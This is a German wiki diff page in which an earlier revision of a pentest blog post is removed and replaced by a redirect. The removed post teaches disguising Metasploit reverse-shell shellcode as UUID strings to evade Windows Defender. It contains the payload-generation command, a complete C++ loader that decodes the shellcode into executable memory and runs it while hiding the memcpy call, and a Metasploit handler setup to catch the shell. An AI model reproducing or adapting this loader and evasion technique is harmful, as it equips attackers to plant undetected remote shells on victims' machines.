Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

Link zu dieser Vergleichsansicht

Nächste Überarbeitung
Vorhergehende Überarbeitung
it-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1 [2024/09/10 22:18] – angelegt psycoreit-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1 [2024/09/17 10:15] (aktuell) – redirect psycore
Zeile 1: Zeile 1:
-{{tag>IT-Security Windows Kali pentest obfuscation blog deutsch}} +~~REDIRECT>it-security:blog:obfuscation_shellcode_als_uuids_tarnen~~
- +
-====== Obfuscation: Shellcode als UUIDs tarnen - Teil 1 ====== +
- +
-{{:it-security:blog:a3896ce4-2725-4074-8a65-98fb4aa4d0c3.webp?400x200|}} +
- +
-Im letzten [[it-security:blog:shellcode_injection-4|Blogpost]] beschäftigten wir uns mit der Entwicklung eines calc.exe Shellcodes. Die Injection-Methode, die ich hierbei zum Testen nutzte, wurde vom Windows Defender sofort blockiert. Somit musste ich Loader und Shellcode entsprechend anpassen. +
- +
-Mir kam die Idee, die OpCodes in ein String-Array umzuwandeln, welches mit [[https://de.wikipedia.org/wiki/Universally_Unique_Identifier|UUIDs]] gefüllt ist. Diese müssen dann entsprechend vor der Injection wieder in Bytes umgewandelt werden. Hierzu habe ich einen En- und Decoder geschrieben, welcher genau dies macht. +
- +
-===== Tools ===== +
- +
-Der Encoder ist Teil meines Shellcode-Tools [[https://github.com/psycore8/shencode|ShenCode]], welches als Open-Source zur Verfügung steht. +
- +
-===== Schritt1: Shellcode vorbereiten ===== +
- +
-==== erzeugen ==== +
- +
-Wir erstellen ein Payload ohne weitergehende Verschlüsselung bzw. Enkodierung. Dieses wird in der Regel durch Windows Defender erkannt. +
- +
-<code bash> +
-python shencode.py create -c="-p windows/x64/shell/reverse_tcp LHOST=IPADDRESS LPORT=PORT -f raw -o shell_rev.raw" +
-</code> +
- +
-==== encoden ==== +
- +
-Dieses Payload encoden wir nun als UUID-Strings. +
- +
-<code bash> +
-python shencode.py encode -f shell_rev.raw -u +
-</code> +
- +
-Die Ausgabe sieht nun in etwas so aus: +
- +
-<code cpp> +
-[*] try to open file +
-[+] reading 240906.001 successful! +
-[*] try to generate UUIDs +
-std::vector<std::string> sID = { +
-"fce88f00-0000-6031-d264-8b523089e58b", +
-"520c8b52-148b-7228-0fb7-4a2631ff31c0", +
-"ac3c617c-022c-20c1-cf0d-01c74975ef52", +
-"578b5210-8b42-3c01-d08b-407885c0744c", +
-... +
-"c85fffd5-83f8-007d-2858-68004000006a", +
-"0050680b-2f0f-30ff-d557-68756e4d61ff", +
-"d55e5eff-0c24-0f85-70ff-ffffe99bffff", +
-"ff01c329-c675-c1c3-bbf0-b5a2566a0053", +
-"ffd5" }; +
-[+] DONE! +
-</code> +
- +
-===== Schritt 2: Inject.cpp schreiben ===== +
- +
-==== Header ==== +
- +
-=== verschleierter Shellcode === +
- +
-Wir erstellen ein neues C++ Projekt und übernehmen das verschleierte String-Array, welches wir zuvor erstellt haben. +
- +
-<code cpp> +
-#include <stdio.h> +
-#include <windows.h> +
-#include <iostream> +
-#include <sstream> +
-#include <vector> +
-#include <iomanip> +
-#pragma warning +
- +
-std::vector<std::string> sID = { +
-"fce88f00-0000-6031-d264-8b523089e58b", +
-"520c8b52-148b-7228-0fb7-4a2631ff31c0", +
-"ac3c617c-022c-20c1-cf0d-01c74975ef52", +
-"578b5210-8b42-3c01-d08b-407885c0744c", +
-... +
-"c85fffd5-83f8-007d-2858-68004000006a", +
-"0050680b-2f0f-30ff-d557-68756e4d61ff", +
-"d55e5eff-0c24-0f85-70ff-ffffe99bffff", +
-"ff01c329-c675-c1c3-bbf0-b5a2566a0053", +
-"ffd5" }; +
-</code> +
- +
-==== Encoding und Injection ==== +
- +
-=== überflüssige Zeichen entfernen === +
- +
-Zunächst benötigen wir eine Funktion, um die ''%%-%%'' Zeichen zu entfernen. Wir übergeben dieser Funktion einen String, welcher dann bereinigt wird. +
- +
-<code cpp> +
-void removeDashes(std::string& str) { +
-    str.erase(std::remove(str.begin(), str.end(), '-'), str.end()); +
-+
-</code> +
- +
-=== Strings in Bytes konvertieren === +
- +
-Die nächste Funktion sorgt für die Aufbereitung der UUID Strings in ausführbare Bytes. Das String-Array wird Stück für Stück durchlaufen: +
- +
-  * Entfernen von ''%%-%%'' +
-  * Lese 2 Zeichen und gib diese als Byte zurück +
-  * Wenn das String-Array durchlaufen ist, gib das erzeugte Byte-Array an den Caller zurück +
- +
-<code cpp> +
-std::vector<uint8_t> convertToBytes(const std::vector<std::string>& inputStrings) { +
-    std::vector<uint8_t> byteArray; +
-    for (const auto& str : inputStrings) { +
-        std::string cleanStr = str; +
-        removeDashes(cleanStr); +
-        for (size_t i = 0; i < cleanStr.length(); i += 2) { +
-            if (i + 1 < cleanStr.length()) { +
-                std::string byteString = cleanStr.substr(i, 2); +
-                uint8_t byte = static_cast<uint8_t>(std::stoi(byteString, nullptr, 16)); +
-                byteArray.push_back(byte); +
-            } +
-        } +
-    } +
-    return byteArray; +
-+
-</code> +
- +
-=== Hauptprogramm === +
- +
-Das Hauptprogramm initialisiert die Variablen, ruft die Konvertierungsfunktion auf, gibt die Bytes in der Konsole aus und führt anschließend die Injection aus. +
- +
-Um diesen Vorgang etwas zu tarnen, wird die Funktion ''%%memcpy%%'' nicht direkt aufgerufen, sondern über einen Pointer mit unserer eigenen Funktion verknüpft. +
- +
-<code cpp> +
-int main() { +
-    std::vector<std::string> input = sID; +
-    std::vector<uint8_t> result = convertToBytes(input); +
-    unsigned char* Payload = reinterpret_cast<unsigned char*>(result.data()); +
-    size_t byteArrayLength = result.size(); +
-    std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std::endl; +
- +
-    for (size_t i = 0; i < byteArrayLength; ++i) { +
-        std::cout << std::hex << std::setw(2) << std::setfill('0') << static_cast<int>(Payload[i]) << " "; +
-        if ((i + 1) % 8 == 0) { +
-            std::cout << std::endl; +
-        } +
-    } +
- +
-    void* (*memcpyPtr) (void*, const void*, size_t); +
-    void* exec = VirtualAlloc(0, byteArrayLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); +
-    memcpyPtr = &memcpy; +
- memcpyPtr(exec, Payload, byteArrayLength); +
- ((void(*)())exec)(); +
-    return 0; +
-}  +
-</code> +
- +
-===== Schritt 3: Funktionalität testen ===== +
- +
-==== Metasploit handler ==== +
- +
-Wir starten einen Metasploit Handler auf dem Angriffs-System, um die Reverse Shell entgegen zu nehmen: +
- +
-<code ruby> +
-msf6 > use exploit/multi/handler  +
-[*] Using configured payload generic/shell_reverse_tcp +
- +
-msf6 exploit(multi/handler) > run -p windows/x64/shell/reverse_tcp lhost=0.0.0.0 lport=15666 +
- +
-[*] Started reverse TCP handler on 0.0.0.0:15666 +
-</code> +
- +
-==== Inject.cpp kompilieren ==== +
- +
-Anschließend kompilieren wir unsere Inject.cpp als 64-Bit Programm. Dieses kopieren wir anschließend auf das Opfer-System. Nach dem Kopiervorgang wird die Datei nicht erkannt. Wir scannen diese einmal händisch mit dem Windows Defender. +
- +
-{{it-security:blog:2024-220-1.png}} +
- +
-Das sieht ebenfalls gut aus. +
- +
-==== Ausführen ==== +
- +
-Wir führen nun die Datei aus und warten auf das Ergebnis. +
- +
-Leider passiert an dieser Stelle auch erstmal nichts, außer Warten. Ein Blick auf den Shellcode verrät auch direkt warum das so ist: +
- +
-<code stylus> +
-"c85fffd5-83f8-007d-2858-68004000006a", +
-</code> +
- +
-Wir haben ein Raw-Payload aus metasploit heraus erzeugt. Dieses enthält eine Menge Null-Bytes und diese verhindern die korrekte Ausführung. Dies war recht ärgerlich, da meine ersten Tests durchliefen. +
- +
-Ich habe den gesamten Vorgang mit dem metasploit internen XOR Encoder wiederholt und Null-Bytes als Bad Character definiert. Hiermit konnte ich die Shell dann spawnen, jedoch wird der XOR Decoder im Speicher erkannt und Windows Defender schlägt Alarm. +
- +
-===== Fazit ===== +
- +
-Die UUID Verschleierung funktioniert und schützt die Datei beim Festplatten-Zugriff. Nach der Ausführung muss noch ein Speicherschutz her, der die Erkennung verhindert. Dies zeige ich im nächsten Teil.+